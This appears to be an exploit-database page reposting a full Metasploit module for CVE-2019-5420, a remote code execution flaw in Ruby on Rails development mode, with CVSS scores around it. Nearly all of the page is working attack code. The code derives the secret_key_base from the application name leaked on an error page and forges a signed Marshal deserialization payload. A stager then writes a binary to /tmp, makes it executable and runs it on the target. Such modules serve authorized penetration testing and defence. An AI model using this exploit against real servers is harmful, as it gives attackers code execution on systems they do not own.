Ruby On Rails DoubleTap Development Mode secret_key_base Remote Code Execution

2019.05.02
Credit: sinn3r
Risk: High
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Auxiliary::Report def initialize(info={}) super(update_info(info, 'Name' => 'Ruby On Rails DoubleTap Development Mode secret_key_base Vulnerability', 'Description' => %q{ This module exploits a vulnerability in Ruby on Rails. In development mode, a Rails application would use its name as the secret_key_base, and can be easily extracted by visiting an invalid resource for a path. As a result, this allows a remote user to create and deliver a signed serialized payload, load it by the application, and gain remote code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'ooooooo_q', # Reported the vuln on hackerone 'mpgn', # Proof-of-Concept 'sinn3r' # Metasploit module ], 'References' => [ [ 'CVE', '2019-5420' ], [ 'URL', 'https://hackerone.com/reports/473888' ], [ 'URL', 'https://github.com/mpgn/Rails-doubletap-RCE' ], [ 'URL', 'https://groups.google.com/forum/#!searchin/rubyonrails-security/CVE-2019-5420/rubyonrails-security/IsQKvDqZdKw/UYgRCJz2CgAJ' ] ], 'Platform' => 'linux', 'Targets' => [ [ 'Ruby on Rails 5.2 and prior', { } ] ], 'DefaultOptions' => { 'RPORT' => 3000 }, 'Notes' => { 'AKA' => [ 'doubletap' ], 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ IOC_IN_LOGS ] }, 'Privileged' => false, 'DisclosureDate' => 'Mar 13 2019', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The route for the Rails application', '/']), ]) end NO_RAILS_ROOT_MSG = 'No Rails.root info' # These mocked classes are borrowed from Rails 5. I had to do this because Metasploit # still uses Rails 4, and we don't really know when we will be able to upgrade it. class Messages class Metadata def initialize(message, expires_at = nil, purpose = nil) @message, @expires_at, @purpose = message, expires_at, purpose end def as_json(options = {}) { _rails: { message: @message, exp: @expires_at, pur: @purpose } } end def self.wrap(message, expires_at: nil, expires_in: nil, purpose: nil) if expires_at || expires_in || purpose ActiveSupport::JSON.encode new(encode(message), pick_expiry(expires_at, expires_in), purpose) else message end end private def self.pick_expiry(expires_at, expires_in) if expires_at expires_at.utc.iso8601(3) elsif expires_in Time.now.utc.advance(seconds: expires_in).iso8601(3) end end def self.encode(message) Rex::Text::encode_base64(message) end end end class MessageVerifier def initialize(secret, options = {}) raise ArgumentError, 'Secret should not be nil.' unless secret @secret = secret @digest = options[:digest] || 'SHA1' @serializer = options[:serializer] || Marshal end def generate(value, expires_at: nil, expires_in: nil, purpose: nil) data = encode(Messages::Metadata.wrap(@serializer.dump(value), expires_at: expires_at, expires_in: expires_in, purpose: purpose)) "#{data}--#{generate_digest(data)}" end private def generate_digest(data) require "openssl" unless defined?(OpenSSL) OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data) end def encode(message) Rex::Text::encode_base64(message) end end def check check_code = CheckCode::Safe app_name = get_application_name check_code = CheckCode::Appears unless app_name.blank? test_payload = %Q|puts 1| rails_payload = generate_rails_payload(app_name, test_payload) result = send_serialized_payload(rails_payload) check_code = CheckCode::Vulnerable if result check_code rescue Msf::Exploit::Failed => e vprint_error(e.message) return check_code if e.message.to_s.include? NO_RAILS_ROOT_MSG CheckCode::Unknown end # Returns information about Rails.root if we retrieve an invalid path under rails. def get_rails_root_info res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'rails', Rex::Text.rand_text_alphanumeric(32)), }) fail_with(Failure::Unknown, 'No response from the server') unless res html = res.get_html_document rails_root_node = html.at('//code[contains(text(), "Rails.root:")]') fail_with(Failure::NotVulnerable, NO_RAILS_ROOT_MSG) unless rails_root_node root_info_value = rails_root_node.text.scan(/Rails.root: (.+)/).flatten.first report_note(host: rhost, type: 'rails.root_info', data: root_info_value, update: :unique_data) root_info_value end # Returns the application name based on Rails.root. It seems in development mode, the # application name is used as a secret_key_base to encrypt/decrypt data. def get_application_name root_info = get_rails_root_info root_info.split('/').last.capitalize end # Returns the stager code that writes the payload to disk so we can execute it. def get_stager_code b64_fname = "/tmp/#{Rex::Text.rand_text_alpha(6)}.bin" bin_fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}.bin" register_file_for_cleanup(b64_fname, bin_fname) p = Rex::Text.encode_base64(generate_payload_exe) c = "File.open('#{b64_fname}', 'wb') { |f| f.write('#{p}') }; " c << "%x(base64 --decode #{b64_fname} > #{bin_fname}); " c << "%x(chmod +x #{bin_fname}); " c << "%x(#{bin_fname})" c end # Returns the serialized payload that is embedded with our malicious payload. def generate_rails_payload(app_name, ruby_payload) secret_key_base = Digest::MD5.hexdigest("#{app_name}::Application") keygen = ActiveSupport::CachingKeyGenerator.new(ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000)) secret = keygen.generate_key('ActiveStorage') verifier = MessageVerifier.new(secret) erb = ERB.allocate erb.instance_variable_set :@src, ruby_payload erb.instance_variable_set :@filename, "1" erb.instance_variable_set :@lineno, 1 dump_target = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result) verifier.generate(dump_target, purpose: :blob_key) end # Sending the serialized payload # If the payload fails, the server should return 404. If successful, then 200. def send_serialized_payload(rails_payload) res = send_request_cgi({ 'method' => 'GET', 'uri' => "/rails/active_storage/disk/#{rails_payload}/test", }) if res && res.code != 200 print_error("It doesn't look like the exploit worked. Server returned: #{res.code}.") print_error('The expected response should be HTTP 200.') # This indicates the server did not accept the payload return false end # This is used to indicate the server accepted the payload true end def exploit print_status("Attempting to retrieve the application name...") app_name = get_application_name print_status("The application name is: #{app_name}") stager = get_stager_code print_status("Stager ready: #{stager.length} bytes") rails_payload = generate_rails_payload(app_name, stager) print_status("Sending serialized payload to target (#{rails_payload.length} bytes)") send_serialized_payload(rails_payload) end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top